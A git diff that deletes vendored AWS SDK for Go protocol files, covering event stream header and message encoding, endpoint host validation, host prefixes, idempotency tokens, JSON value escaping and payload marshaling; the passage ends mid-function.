a/vendor/github.com/aws/aws-sdk-go/private/protocol/eventstream/error.go +++ /dev/null @@ -1,23 +0,0 @@ -package eventstream - -import "fmt" - -// LengthError provides the error for items being larger than a maximum length. -type LengthError struct { - Part string - Want int - Have int - Value interface{} -} - -func (e LengthError) Error() string { - return fmt.Sprintf("%s length invalid, %d/%d, %v", - e.Part, e.Want, e.Have, e.Value) -} - -// ChecksumError provides the error for message checksum invalidation errors. -type ChecksumError struct{} - -func (e ChecksumError) Error() string { - return "message checksum mismatch" -} diff --git a/vendor/github.com/aws/aws-sdk-go/private/protocol/eventstream/eventstreamapi/api.go b/vendor/github.com/aws/aws-sdk-go/private/protocol/eventstream/eventstreamapi/api.go deleted file mode 100644 index 97937c8e59..0000000000 --- a/vendor/github.com/aws/aws-sdk-go/private/protocol/eventstream/eventstreamapi/api.go +++ /dev/null @@ -1,196 +0,0 @@ -package eventstreamapi - -import ( - "fmt" - "io" - - "github.com/aws/aws-sdk-go/aws" - "github.com/aws/aws-sdk-go/private/protocol" - "github.com/aws/aws-sdk-go/private/protocol/eventstream" -) - -// Unmarshaler provides the interface for unmarshaling a EventStream -// message into a SDK type. -type Unmarshaler interface { - UnmarshalEvent(protocol.PayloadUnmarshaler, eventstream.Message) error -} - -// EventStream headers with specific meaning to async API functionality. -const ( - MessageTypeHeader = `:message-type` // Identifies type of message. - EventMessageType = `event` - ErrorMessageType = `error` - ExceptionMessageType = `exception` - - // Message Events - EventTypeHeader = `:event-type` // Identifies message event type e.g. "Stats". - - // Message Error - ErrorCodeHeader = `:error-code` - ErrorMessageHeader = `:error-message` - - // Message Exception - ExceptionTypeHeader = `:exception-type` -) - -// EventReader provides reading from the EventStream of an reader. -type EventReader struct { - reader io.ReadCloser - decoder *eventstream.Decoder - - unmarshalerForEventType func(string) (Unmarshaler, error) - payloadUnmarshaler protocol.PayloadUnmarshaler - - payloadBuf []byte -} - -// NewEventReader returns a EventReader built from the reader and unmarshaler -// provided. Use ReadStream method to start reading from the EventStream. -func NewEventReader( - reader io.ReadCloser, - payloadUnmarshaler protocol.PayloadUnmarshaler, - unmarshalerForEventType func(string) (Unmarshaler, error), -) *EventReader { - return &EventReader{ - reader: reader, - decoder: eventstream.NewDecoder(reader), - payloadUnmarshaler: payloadUnmarshaler, - unmarshalerForEventType: unmarshalerForEventType, - payloadBuf: make([]byte, 10*1024), - } -} - -// UseLogger instructs the EventReader to use the logger and log level -// specified. -func (r *EventReader) UseLogger(logger aws.Logger, logLevel aws.LogLevelType) { - if logger != nil && logLevel.Matches(aws.LogDebugWithEventStreamBody) { - r.decoder.UseLogger(logger) - } -} - -// ReadEvent attempts to read a message from the EventStream and return the -// unmarshaled event value that the message is for. -// -// For EventStream API errors check if the returned error satisfies the -// awserr.Error interface to get the error's Code and Message components. -// -// EventUnmarshalers called with EventStream messages must take copies of the -// message's Payload. The payload will is reused between events read. -func (r *EventReader) ReadEvent() (event interface{}, err error) { - msg, err := r.decoder.Decode(r.payloadBuf) - if err != nil { - return nil, err - } - defer func() { - // Reclaim payload buffer for next message read. - r.payloadBuf = msg.Payload[0:0] - }() - - typ, err := GetHeaderString(msg, MessageTypeHeader) - if err != nil { - return nil, err - } - - switch typ { - case EventMessageType: - return r.unmarshalEventMessage(msg) - case ExceptionMessageType: - err = r.unmarshalEventException(msg) - return nil, err - case ErrorMessageType: - return nil, r.unmarshalErrorMessage(msg) - default: - return nil, fmt.Errorf("unknown eventstream message type, %v", typ) - } -} - -func (r *EventReader) unmarshalEventMessage( - msg eventstream.Message, -) (event interface{}, err error) { - eventType, err := GetHeaderString(msg, EventTypeHeader) - if err != nil { - return nil, err - } - - ev, err := r.unmarshalerForEventType(eventType) - if err != nil { - return nil, err - } - - err = ev.UnmarshalEvent(r.payloadUnmarshaler, msg) - if err != nil { - return nil, err - } - - return ev, nil -} - -func (r *EventReader) unmarshalEventException( - msg eventstream.Message, -) (err error) { - eventType, err := GetHeaderString(msg, ExceptionTypeHeader) - if err != nil { - return err - } - - ev, err := r.unmarshalerForEventType(eventType) - if err != nil { - return err - } - - err = ev.UnmarshalEvent(r.payloadUnmarshaler, msg) - if err != nil { - return err - } - - var ok bool - err, ok = ev.(error) - if !ok { - err = messageError{ - code: "SerializationError", - msg: fmt.Sprintf( - "event stream exception %s mapped to non-error %T, %v", - eventType, ev, ev, - ), - } - } - - return err -} - -func (r *EventReader) unmarshalErrorMessage(msg eventstream.Message) (err error) { - var msgErr messageError - - msgErr.code, err = GetHeaderString(msg, ErrorCodeHeader) - if err != nil { - return err - } - - msgErr.msg, err = GetHeaderString(msg, ErrorMessageHeader) - if err != nil { - return err - } - - return msgErr -} - -// Close closes the EventReader's EventStream reader. -func (r *EventReader) Close() error { - return r.reader.Close() -} - -// GetHeaderString returns the value of the header as a string. If the header -// is not set or the value is not a string an error will be returned. -func GetHeaderString(msg eventstream.Message, headerName string) (string, error) { - headerVal := msg.Headers.Get(headerName) - if headerVal == nil { - return "", fmt.Errorf("error header %s not present", headerName) - } - - v, ok := headerVal.Get().(string) - if !ok { - return "", fmt.Errorf("error header value is not a string, %T", headerVal) - } - - return v, nil -} diff --git a/vendor/github.com/aws/aws-sdk-go/private/protocol/eventstream/eventstreamapi/error.go b/vendor/github.com/aws/aws-sdk-go/private/protocol/eventstream/eventstreamapi/error.go deleted file mode 100644 index 5ea5a988b6..0000000000 --- a/vendor/github.com/aws/aws-sdk-go/private/protocol/eventstream/eventstreamapi/error.go +++ /dev/null @@ -1,24 +0,0 @@ -package eventstreamapi - -import "fmt" - -type messageError struct { - code string - msg string -} - -func (e messageError) Code() string { - return e.code -} - -func (e messageError) Message() string { - return e.msg -} - -func (e messageError) Error() string { - return fmt.Sprintf("%s: %s", e.code, e.msg) -} - -func (e messageError) OrigErr() error { - return nil -} diff --git a/vendor/github.com/aws/aws-sdk-go/private/protocol/eventstream/header.go b/vendor/github.com/aws/aws-sdk-go/private/protocol/eventstream/header.go deleted file mode 100644 index 3b44dde2f3..0000000000 --- a/vendor/github.com/aws/aws-sdk-go/private/protocol/eventstream/header.go +++ /dev/null @@ -1,166 +0,0 @@ -package eventstream - -import ( - "encoding/binary" - "fmt" - "io" -) - -// Headers are a collection of EventStream header values. -type Headers []Header - -// Header is a single EventStream Key Value header pair. -type Header struct { - Name string - Value Value -} - -// Set associates the name with a value. If the header name already exists in -// the Headers the value will be replaced with the new one. -func (hs *Headers) Set(name string, value Value) { - var i int - for ; i < len(*hs); i++ { - if (*hs)[i].Name == name { - (*hs)[i].Value = value - return - } - } - - *hs = append(*hs, Header{ - Name: name, Value: value, - }) -} - -// Get returns the Value associated with the header. Nil is returned if the -// value does not exist. -func (hs Headers) Get(name string) Value { - for i := 0; i < len(hs); i++ { - if h := hs[i]; h.Name == name { - return h.Value - } - } - return nil -} - -// Del deletes the value in the Headers if it exists. -func (hs *Headers) Del(name string) { - for i := 0; i < len(*hs); i++ { - if (*hs)[i].Name == name { - copy((*hs)[i:], (*hs)[i+1:]) - (*hs) = (*hs)[:len(*hs)-1] - } - } -} - -func decodeHeaders(r io.Reader) (Headers, error) { - hs := Headers{} - - for { - name, err := decodeHeaderName(r) - if err != nil { - if err == io.EOF { - // EOF while getting header name means no more headers - break - } - return nil, err - } - - value, err := decodeHeaderValue(r) - if err != nil { - return nil, err - } - - hs.Set(name, value) - } - - return hs, nil -} - -func decodeHeaderName(r io.Reader) (string, error) { - var n headerName - - var err error - n.Len, err = decodeUint8(r) - if err != nil { - return "", err - } - - name := n.Name[:n.Len] - if _, err := io.ReadFull(r, name); err != nil { - return "", err - } - - return string(name), nil -} - -func decodeHeaderValue(r io.Reader) (Value, error) { - var raw rawValue - - typ, err := decodeUint8(r) - if err != nil { - return nil, err - } - raw.Type = valueType(typ) - - var v Value - - switch raw.Type { - case trueValueType: - v = BoolValue(true) - case falseValueType: - v = BoolValue(false) - case int8ValueType: - var tv Int8Value - err = tv.decode(r) - v = tv - case int16ValueType: - var tv Int16Value - err = tv.decode(r) - v = tv - case int32ValueType: - var tv Int32Value - err = tv.decode(r) - v = tv - case int64ValueType: - var tv Int64Value - err = tv.decode(r) - v = tv - case bytesValueType: - var tv BytesValue - err = tv.decode(r) - v = tv - case stringValueType: - var tv StringValue - err = tv.decode(r) - v = tv - case timestampValueType: - var tv TimestampValue - err = tv.decode(r) - v = tv - case uuidValueType: - var tv UUIDValue - err = tv.decode(r) - v = tv - default: - panic(fmt.Sprintf("unknown value type %d", raw.Type)) - } - - // Error could be EOF, let caller deal with it - return v, err -} - -const maxHeaderNameLen = 255 - -type headerName struct { - Len uint8 - Name [maxHeaderNameLen]byte -} - -func (v headerName) encode(w io.Writer) error { - if err := binary.Write(w, binary.BigEndian, v.Len); err != nil { - return err - } - - _, err := w.Write(v.Name[:v.Len]) - return err -} diff --git a/vendor/github.com/aws/aws-sdk-go/private/protocol/eventstream/header_value.go b/vendor/github.com/aws/aws-sdk-go/private/protocol/eventstream/header_value.go deleted file mode 100644 index e3fc0766a9..0000000000 --- a/vendor/github.com/aws/aws-sdk-go/private/protocol/eventstream/header_value.go +++ /dev/null @@ -1,501 +0,0 @@ -package eventstream - -import ( - "encoding/base64" - "encoding/binary" - "fmt" - "io" - "strconv" - "time" -) - -const maxHeaderValueLen = 1<<15 - 1 // 2^15-1 or 32KB - 1 - -// valueType is the EventStream header value type. -type valueType uint8 - -// Header value types -const ( - trueValueType valueType = iota - falseValueType - int8ValueType // Byte - int16ValueType // Short - int32ValueType // Integer - int64ValueType // Long - bytesValueType - stringValueType - timestampValueType - uuidValueType -) - -func (t valueType) String() string { - switch t { - case trueValueType: - return "bool" - case falseValueType: - return "bool" - case int8ValueType: - return "int8" - case int16ValueType: - return "int16" - case int32ValueType: - return "int32" - case int64ValueType: - return "int64" - case bytesValueType: - return "byte_array" - case stringValueType: - return "string" - case timestampValueType: - return "timestamp" - case uuidValueType: - return "uuid" - default: - return fmt.Sprintf("unknown value type %d", uint8(t)) - } -} - -type rawValue struct { - Type valueType - Len uint16 // Only set for variable length slices - Value []byte // byte representation of value, BigEndian encoding. -} - -func (r rawValue) encodeScalar(w io.Writer, v interface{}) error { - return binaryWriteFields(w, binary.BigEndian, - r.Type, - v, - ) -} - -func (r rawValue) encodeFixedSlice(w io.Writer, v []byte) error { - binary.Write(w, binary.BigEndian, r.Type) - - _, err := w.Write(v) - return err -} - -func (r rawValue) encodeBytes(w io.Writer, v []byte) error { - if len(v) > maxHeaderValueLen { - return LengthError{ - Part: "header value", - Want: maxHeaderValueLen, Have: len(v), - Value: v, - } - } - r.Len = uint16(len(v)) - - err := binaryWriteFields(w, binary.BigEndian, - r.Type, - r.Len, - ) - if err != nil { - return err - } - - _, err = w.Write(v) - return err -} - -func (r rawValue) encodeString(w io.Writer, v string) error { - if len(v) > maxHeaderValueLen { - return LengthError{ - Part: "header value", - Want: maxHeaderValueLen, Have: len(v), - Value: v, - } - } - r.Len = uint16(len(v)) - - type stringWriter interface { - WriteString(string) (int, error) - } - - err := binaryWriteFields(w, binary.BigEndian, - r.Type, - r.Len, - ) - if err != nil { - return err - } - - if sw, ok := w.(stringWriter); ok { - _, err = sw.WriteString(v) - } else { - _, err = w.Write([]byte(v)) - } - - return err -} - -func decodeFixedBytesValue(r io.Reader, buf []byte) error { - _, err := io.ReadFull(r, buf) - return err -} - -func decodeBytesValue(r io.Reader) ([]byte, error) { - var raw rawValue - var err error - raw.Len, err = decodeUint16(r) - if err != nil { - return nil, err - } - - buf := make([]byte, raw.Len) - _, err = io.ReadFull(r, buf) - if err != nil { - return nil, err - } - - return buf, nil -} - -func decodeStringValue(r io.Reader) (string, error) { - v, err := decodeBytesValue(r) - return string(v), err -} - -// Value represents the abstract header value. -type Value interface { - Get() interface{} - String() string - valueType() valueType - encode(io.Writer) error -} - -// An BoolValue provides eventstream encoding, and representation -// of a Go bool value. -type BoolValue bool - -// Get returns the underlying type -func (v BoolValue) Get() interface{} { - return bool(v) -} - -// valueType returns the EventStream header value type value. -func (v BoolValue) valueType() valueType { - if v { - return trueValueType - } - return falseValueType -} - -func (v BoolValue) String() string { - return strconv.FormatBool(bool(v)) -} - -// encode encodes the BoolValue into an eventstream binary value -// representation. -func (v BoolValue) encode(w io.Writer) error { - return binary.Write(w, binary.BigEndian, v.valueType()) -} - -// An Int8Value provides eventstream encoding, and representation of a Go -// int8 value. -type Int8Value int8 - -// Get returns the underlying value. -func (v Int8Value) Get() interface{} { - return int8(v) -} - -// valueType returns the EventStream header value type value. -func (Int8Value) valueType() valueType { - return int8ValueType -} - -func (v Int8Value) String() string { - return fmt.Sprintf("0x%02x", int8(v)) -} - -// encode encodes the Int8Value into an eventstream binary value -// representation. -func (v Int8Value) encode(w io.Writer) error { - raw := rawValue{ - Type: v.valueType(), - } - - return raw.encodeScalar(w, v) -} - -func (v *Int8Value) decode(r io.Reader) error { - n, err := decodeUint8(r) - if err != nil { - return err - } - - *v = Int8Value(n) - return nil -} - -// An Int16Value provides eventstream encoding, and representation of a Go -// int16 value. -type Int16Value int16 - -// Get returns the underlying value. -func (v Int16Value) Get() interface{} { - return int16(v) -} - -// valueType returns the EventStream header value type value. -func (Int16Value) valueType() valueType { - return int16ValueType -} - -func (v Int16Value) String() string { - return fmt.Sprintf("0x%04x", int16(v)) -} - -// encode encodes the Int16Value into an eventstream binary value -// representation. -func (v Int16Value) encode(w io.Writer) error { - raw := rawValue{ - Type: v.valueType(), - } - return raw.encodeScalar(w, v) -} - -func (v *Int16Value) decode(r io.Reader) error { - n, err := decodeUint16(r) - if err != nil { - return err - } - - *v = Int16Value(n) - return nil -} - -// An Int32Value provides eventstream encoding, and representation of a Go -// int32 value. -type Int32Value int32 - -// Get returns the underlying value. -func (v Int32Value) Get() interface{} { - return int32(v) -} - -// valueType returns the EventStream header value type value. -func (Int32Value) valueType() valueType { - return int32ValueType -} - -func (v Int32Value) String() string { - return fmt.Sprintf("0x%08x", int32(v)) -} - -// encode encodes the Int32Value into an eventstream binary value -// representation. -func (v Int32Value) encode(w io.Writer) error { - raw := rawValue{ - Type: v.valueType(), - } - return raw.encodeScalar(w, v) -} - -func (v *Int32Value) decode(r io.Reader) error { - n, err := decodeUint32(r) - if err != nil { - return err - } - - *v = Int32Value(n) - return nil -} - -// An Int64Value provides eventstream encoding, and representation of a Go -// int64 value. -type Int64Value int64 - -// Get returns the underlying value. -func (v Int64Value) Get() interface{} { - return int64(v) -} - -// valueType returns the EventStream header value type value. -func (Int64Value) valueType() valueType { - return int64ValueType -} - -func (v Int64Value) String() string { - return fmt.Sprintf("0x%016x", int64(v)) -} - -// encode encodes the Int64Value into an eventstream binary value -// representation. -func (v Int64Value) encode(w io.Writer) error { - raw := rawValue{ - Type: v.valueType(), - } - return raw.encodeScalar(w, v) -} - -func (v *Int64Value) decode(r io.Reader) error { - n, err := decodeUint64(r) - if err != nil { - return err - } - - *v = Int64Value(n) - return nil -} - -// An BytesValue provides eventstream encoding, and representation of a Go -// byte slice. -type BytesValue []byte - -// Get returns the underlying value. -func (v BytesValue) Get() interface{} { - return []byte(v) -} - -// valueType returns the EventStream header value type value. -func (BytesValue) valueType() valueType { - return bytesValueType -} - -func (v BytesValue) String() string { - return base64.StdEncoding.EncodeToString([]byte(v)) -} - -// encode encodes the BytesValue into an eventstream binary value -// representation. -func (v BytesValue) encode(w io.Writer) error { - raw := rawValue{ - Type: v.valueType(), - } - - return raw.encodeBytes(w, []byte(v)) -} - -func (v *BytesValue) decode(r io.Reader) error { - buf, err := decodeBytesValue(r) - if err != nil { - return err - } - - *v = BytesValue(buf) - return nil -} - -// An StringValue provides eventstream encoding, and representation of a Go -// string. -type StringValue string - -// Get returns the underlying value. -func (v StringValue) Get() interface{} { - return string(v) -} - -// valueType returns the EventStream header value type value. -func (StringValue) valueType() valueType { - return stringValueType -} - -func (v StringValue) String() string { - return string(v) -} - -// encode encodes the StringValue into an eventstream binary value -// representation. -func (v StringValue) encode(w io.Writer) error { - raw := rawValue{ - Type: v.valueType(), - } - - return raw.encodeString(w, string(v)) -} - -func (v *StringValue) decode(r io.Reader) error { - s, err := decodeStringValue(r) - if err != nil { - return err - } - - *v = StringValue(s) - return nil -} - -// An TimestampValue provides eventstream encoding, and representation of a Go -// timestamp. -type TimestampValue time.Time - -// Get returns the underlying value. -func (v TimestampValue) Get() interface{} { - return time.Time(v) -} - -// valueType returns the EventStream header value type value. -func (TimestampValue) valueType() valueType { - return timestampValueType -} - -func (v TimestampValue) epochMilli() int64 { - nano := time.Time(v).UnixNano() - msec := nano / int64(time.Millisecond) - return msec -} - -func (v TimestampValue) String() string { - msec := v.epochMilli() - return strconv.FormatInt(msec, 10) -} - -// encode encodes the TimestampValue into an eventstream binary value -// representation. -func (v TimestampValue) encode(w io.Writer) error { - raw := rawValue{ - Type: v.valueType(), - } - - msec := v.epochMilli() - return raw.encodeScalar(w, msec) -} - -func (v *TimestampValue) decode(r io.Reader) error { - n, err := decodeUint64(r) - if err != nil { - return err - } - - *v = TimestampValue(timeFromEpochMilli(int64(n))) - return nil -} - -func timeFromEpochMilli(t int64) time.Time { - secs := t / 1e3 - msec := t % 1e3 - return time.Unix(secs, msec*int64(time.Millisecond)).UTC() -} - -// An UUIDValue provides eventstream encoding, and representation of a UUID -// value. -type UUIDValue [16]byte - -// Get returns the underlying value. -func (v UUIDValue) Get() interface{} { - return v[:] -} - -// valueType returns the EventStream header value type value. -func (UUIDValue) valueType() valueType { - return uuidValueType -} - -func (v UUIDValue) String() string { - return fmt.Sprintf(`%X-%X-%X-%X-%X`, v[0:4], v[4:6], v[6:8], v[8:10], v[10:]) -} - -// encode encodes the UUIDValue into an eventstream binary value -// representation. -func (v UUIDValue) encode(w io.Writer) error { - raw := rawValue{ - Type: v.valueType(), - } - - return raw.encodeFixedSlice(w, v[:]) -} - -func (v *UUIDValue) decode(r io.Reader) error { - tv := (*v)[:] - return decodeFixedBytesValue(r, tv) -} diff --git a/vendor/github.com/aws/aws-sdk-go/private/protocol/eventstream/message.go b/vendor/github.com/aws/aws-sdk-go/private/protocol/eventstream/message.go deleted file mode 100644 index 2dc012a66e..0000000000 --- a/vendor/github.com/aws/aws-sdk-go/private/protocol/eventstream/message.go +++ /dev/null @@ -1,103 +0,0 @@ -package eventstream - -import ( - "bytes" - "encoding/binary" - "hash/crc32" -) - -const preludeLen = 8 -const preludeCRCLen = 4 -const msgCRCLen = 4 -const minMsgLen = preludeLen + preludeCRCLen + msgCRCLen -const maxPayloadLen = 1024 * 1024 * 16 // 16MB -const maxHeadersLen = 1024 * 128 // 128KB -const maxMsgLen = minMsgLen + maxHeadersLen + maxPayloadLen - -var crc32IEEETable = crc32.MakeTable(crc32.IEEE) - -// A Message provides the eventstream message representation. -type Message struct { - Headers Headers - Payload []byte -} - -func (m *Message) rawMessage() (rawMessage, error) { - var raw rawMessage - - if len(m.Headers) > 0 { - var headers bytes.Buffer - if err := encodeHeaders(&headers, m.Headers); err != nil { - return rawMessage{}, err - } - raw.Headers = headers.Bytes() - raw.HeadersLen = uint32(len(raw.Headers)) - } - - raw.Length = raw.HeadersLen + uint32(len(m.Payload)) + minMsgLen - - hash := crc32.New(crc32IEEETable) - binaryWriteFields(hash, binary.BigEndian, raw.Length, raw.HeadersLen) - raw.PreludeCRC = hash.Sum32() - - binaryWriteFields(hash, binary.BigEndian, raw.PreludeCRC) - - if raw.HeadersLen > 0 { - hash.Write(raw.Headers) - } - - // Read payload bytes and update hash for it as well. - if len(m.Payload) > 0 { - raw.Payload = m.Payload - hash.Write(raw.Payload) - } - - raw.CRC = hash.Sum32() - - return raw, nil -} - -type messagePrelude struct { - Length uint32 - HeadersLen uint32 - PreludeCRC uint32 -} - -func (p messagePrelude) PayloadLen() uint32 { - return p.Length - p.HeadersLen - minMsgLen -} - -func (p messagePrelude) ValidateLens() error { - if p.Length == 0 || p.Length > maxMsgLen { - return LengthError{ - Part: "message prelude", - Want: maxMsgLen, - Have: int(p.Length), - } - } - if p.HeadersLen > maxHeadersLen { - return LengthError{ - Part: "message headers", - Want: maxHeadersLen, - Have: int(p.HeadersLen), - } - } - if payloadLen := p.PayloadLen(); payloadLen > maxPayloadLen { - return LengthError{ - Part: "message payload", - Want: maxPayloadLen, - Have: int(payloadLen), - } - } - - return nil -} - -type rawMessage struct { - messagePrelude - - Headers []byte - Payload []byte - - CRC uint32 -} diff --git a/vendor/github.com/aws/aws-sdk-go/private/protocol/host.go b/vendor/github.com/aws/aws-sdk-go/private/protocol/host.go deleted file mode 100644 index d7d42db0a6..0000000000 --- a/vendor/github.com/aws/aws-sdk-go/private/protocol/host.go +++ /dev/null @@ -1,68 +0,0 @@ -package protocol - -import ( - "strings" - - "github.com/aws/aws-sdk-go/aws/request" -) - -// ValidateEndpointHostHandler is a request handler that will validate the -// request endpoint's hosts is a valid RFC 3986 host. -var ValidateEndpointHostHandler = request.NamedHandler{ - Name: "awssdk.protocol.ValidateEndpointHostHandler", - Fn: func(r *request.Request) { - err := ValidateEndpointHost(r.Operation.Name, r.HTTPRequest.URL.Host) - if err != nil { - r.Error = err - } - }, -} - -// ValidateEndpointHost validates that the host string passed in is a valid RFC -// 3986 host. Returns error if the host is not valid. -func ValidateEndpointHost(opName, host string) error { - paramErrs := request.ErrInvalidParams{Context: opName} - labels := strings.Split(host, ".") - - for i, label := range labels { - if i == len(labels)-1 && len(label) == 0 { - // Allow trailing dot for FQDN hosts. - continue - } - - if !ValidHostLabel(label) { - paramErrs.Add(request.NewErrParamFormat( - "endpoint host label", "[a-zA-Z0-9-]{1,63}", label)) - } - } - - if len(host) > 255 { - paramErrs.Add(request.NewErrParamMaxLen( - "endpoint host", 255, host, - )) - } - - if paramErrs.Len() > 0 { - return paramErrs - } - return nil -} - -// ValidHostLabel returns if the label is a valid RFC 3986 host label. -func ValidHostLabel(label string) bool { - if l := len(label); l == 0 || l > 63 { - return false - } - for _, r := range label { - switch { - case r >= '0' && r <= '9': - case r >= 'A' && r <= 'Z': - case r >= 'a' && r <= 'z': - case r == '-': - default: - return false - } - } - - return true -} diff --git a/vendor/github.com/aws/aws-sdk-go/private/protocol/host_prefix.go b/vendor/github.com/aws/aws-sdk-go/private/protocol/host_prefix.go deleted file mode 100644 index 915b0fcafd..0000000000 --- a/vendor/github.com/aws/aws-sdk-go/private/protocol/host_prefix.go +++ /dev/null @@ -1,54 +0,0 @@ -package protocol - -import ( - "strings" - - "github.com/aws/aws-sdk-go/aws" - "github.com/aws/aws-sdk-go/aws/request" -) - -// HostPrefixHandlerName is the handler name for the host prefix request -// handler. -const HostPrefixHandlerName = "awssdk.endpoint.HostPrefixHandler" - -// NewHostPrefixHandler constructs a build handler -func NewHostPrefixHandler(prefix string, labelsFn func() map[string]string) request.NamedHandler { - builder := HostPrefixBuilder{ - Prefix: prefix, - LabelsFn: labelsFn, - } - - return request.NamedHandler{ - Name: HostPrefixHandlerName, - Fn: builder.Build, - } -} - -// HostPrefixBuilder provides the request handler to expand and prepend -// the host prefix into the operation's request endpoint host. -type HostPrefixBuilder struct { - Prefix string - LabelsFn func() map[string]string -} - -// Build updates the passed in Request with the HostPrefix template expanded. -func (h HostPrefixBuilder) Build(r *request.Request) { - if aws.BoolValue(r.Config.DisableEndpointHostPrefix) { - return - } - - var labels map[string]string - if h.LabelsFn != nil { - labels = h.LabelsFn() - } - - prefix := h.Prefix - for name, value := range labels { - prefix = strings.Replace(prefix, "{"+name+"}", value, -1) - } - - r.HTTPRequest.URL.Host = prefix + r.HTTPRequest.URL.Host - if len(r.HTTPRequest.Host) > 0 { - r.HTTPRequest.Host = prefix + r.HTTPRequest.Host - } -} diff --git a/vendor/github.com/aws/aws-sdk-go/private/protocol/idempotency.go b/vendor/github.com/aws/aws-sdk-go/private/protocol/idempotency.go deleted file mode 100644 index 53831dff98..0000000000 --- a/vendor/github.com/aws/aws-sdk-go/private/protocol/idempotency.go +++ /dev/null @@ -1,75 +0,0 @@ -package protocol - -import ( - "crypto/rand" - "fmt" - "reflect" -) - -// RandReader is the random reader the protocol package will use to read -// random bytes from. This is exported for testing, and should not be used. -var RandReader = rand.Reader - -const idempotencyTokenFillTag = `idempotencyToken` - -// CanSetIdempotencyToken returns true if the struct field should be -// automatically populated with a Idempotency token. -// -// Only *string and string type fields that are tagged with idempotencyToken -// which are not already set can be auto filled. -func CanSetIdempotencyToken(v reflect.Value, f reflect.StructField) bool { - switch u := v.Interface().(type) { - // To auto fill an Idempotency token the field must be a string, - // tagged for auto fill, and have a zero value. - case *string: - return u == nil && len(f.Tag.Get(idempotencyTokenFillTag)) != 0 - case string: - return len(u) == 0 && len(f.Tag.Get(idempotencyTokenFillTag)) != 0 - } - - return false -} - -// GetIdempotencyToken returns a randomly generated idempotency token. -func GetIdempotencyToken() string { - b := make([]byte, 16) - RandReader.Read(b) - - return UUIDVersion4(b) -} - -// SetIdempotencyToken will set the value provided with a Idempotency Token. -// Given that the value can be set. Will panic if value is not setable. -func SetIdempotencyToken(v reflect.Value) { - if v.Kind() == reflect.Ptr { - if v.IsNil() && v.CanSet() { - v.Set(reflect.New(v.Type().Elem())) - } - v = v.Elem() - } - v = reflect.Indirect(v) - - if !v.CanSet() { - panic(fmt.Sprintf("unable to set idempotnecy token %v", v)) - } - - b := make([]byte, 16) - _, err := rand.Read(b) - if err != nil { - // TODO handle error - return - } - - v.Set(reflect.ValueOf(UUIDVersion4(b))) -} - -// UUIDVersion4 returns a Version 4 random UUID from the byte slice provided -func UUIDVersion4(u []byte) string { - // https://en.wikipedia.org/wiki/Universally_unique_identifier#Version_4_.28random.29 - // 13th character is "4" - u[6] = (u[6] | 0x40) & 0x4F - // 17th character is "8", "9", "a", or "b" - u[8] = (u[8] | 0x80) & 0xBF - - return fmt.Sprintf(`%X-%X-%X-%X-%X`, u[0:4], u[4:6], u[6:8], u[8:10], u[10:]) -} diff --git a/vendor/github.com/aws/aws-sdk-go/private/protocol/jsonvalue.go b/vendor/github.com/aws/aws-sdk-go/private/protocol/jsonvalue.go deleted file mode 100644 index 776d110184..0000000000 --- a/vendor/github.com/aws/aws-sdk-go/private/protocol/jsonvalue.go +++ /dev/null @@ -1,76 +0,0 @@ -package protocol - -import ( - "encoding/base64" - "encoding/json" - "fmt" - "strconv" - - "github.com/aws/aws-sdk-go/aws" -) - -// EscapeMode is the mode that should be use for escaping a value -type EscapeMode uint - -// The modes for escaping a value before it is marshaled, and unmarshaled. -const ( - NoEscape EscapeMode = iota - Base64Escape - QuotedEscape -) - -// EncodeJSONValue marshals the value into a JSON string, and optionally base64 -// encodes the string before returning it. -// -// Will panic if the escape mode is unknown. -func EncodeJSONValue(v aws.JSONValue, escape EscapeMode) (string, error) { - b, err := json.Marshal(v) - if err != nil { - return "", err - } - - switch escape { - case NoEscape: - return string(b), nil - case Base64Escape: - return base64.StdEncoding.EncodeToString(b), nil - case QuotedEscape: - return strconv.Quote(string(b)), nil - } - - panic(fmt.Sprintf("EncodeJSONValue called with unknown EscapeMode, %v", escape)) -} - -// DecodeJSONValue will attempt to decode the string input as a JSONValue. -// Optionally decoding base64 the value first before JSON unmarshaling. -// -// Will panic if the escape mode is unknown. -func DecodeJSONValue(v string, escape EscapeMode) (aws.JSONValue, error) { - var b []byte - var err error - - switch escape { - case NoEscape: - b = []byte(v) - case Base64Escape: - b, err = base64.StdEncoding.DecodeString(v) - case QuotedEscape: - var u string - u, err = strconv.Unquote(v) - b = []byte(u) - default: - panic(fmt.Sprintf("DecodeJSONValue called with unknown EscapeMode, %v", escape)) - } - - if err != nil { - return nil, err - } - - m := aws.JSONValue{} - err = json.Unmarshal(b, &m) - if err != nil { - return nil, err - } - - return m, nil -} diff --git a/vendor/github.com/aws/aws-sdk-go/private/protocol/payload.go b/vendor/github.com/aws/aws-sdk-go/private/protocol/payload.go deleted file mode 100644 index e21614a125..0000000000 --- a/vendor/github.com/aws/aws-sdk-go/private/protocol/payload.go +++ /dev/null @@ -1,81 +0,0 @@ -package protocol - -import ( - "io" - "io/ioutil" - "net/http" - - "github.com/aws/aws-sdk-go/aws" - "github.com/aws/aws-sdk-go/aws/client/metadata" - "github.com/aws/aws-sdk-go/aws/request" -) - -// PayloadUnmarshaler provides the interface for unmarshaling a payload's -// reader into a SDK shape. -type PayloadUnmarshaler interface { - UnmarshalPayload(io.Reader, interface{}) error -} - -// HandlerPayloadUnmarshal implements the PayloadUnmarshaler from a -// HandlerList. This provides the support for unmarshaling a payload reader to -// a shape without needing a SDK request first. -type HandlerPayloadUnmarshal struct { - Unmarshalers request.HandlerList -} - -// UnmarshalPayload unmarshals the io.Reader payload into the SDK shape using -// the Unmarshalers HandlerList provided. Returns an error if unable -// unmarshaling fails. -func (h HandlerPayloadUnmarshal) UnmarshalPayload(r io.Reader, v interface{}) error { - req := &request.Request{ - HTTPRequest: &http.Request{}, - HTTPResponse: &http.Response{ - StatusCode: 200, - Header: http.Header{}, - Body: ioutil.NopCloser(r), - }, - Data: v, - } - - h.Unmarshalers.Run(req) - - return req.Error -} - -// PayloadMarshaler provides the interface for marshaling a SDK shape into and -// io.Writer. -type PayloadMarshaler interface { - MarshalPayload(io.Writer, interface{}) error -} - -// HandlerPayloadMarshal implements the PayloadMarshaler from a HandlerList. -// This provides support for marshaling a SDK shape into an io.Writer without -// needing a SDK request first. -type HandlerPayloadMarshal struct { - Marshalers request.HandlerList -} - -// MarshalPayload marshals the SDK shape into the io.Writer using the -// Marshalers HandlerList provided. Returns an error if unable if marshal -// fails. -func (h HandlerPayloadMarshal) MarshalPayload(w io.Writer, v interface{}) error { - req := request.New( - aws.Config{}, - metadata.ClientInfo{}, - request.Handlers{}, - nil, - &request.Operation{HTTPMethod: "GET"}, - v, - nil, - ) - - h.Marshalers.Run(req) - - if req.Error != nil { - return req.Error 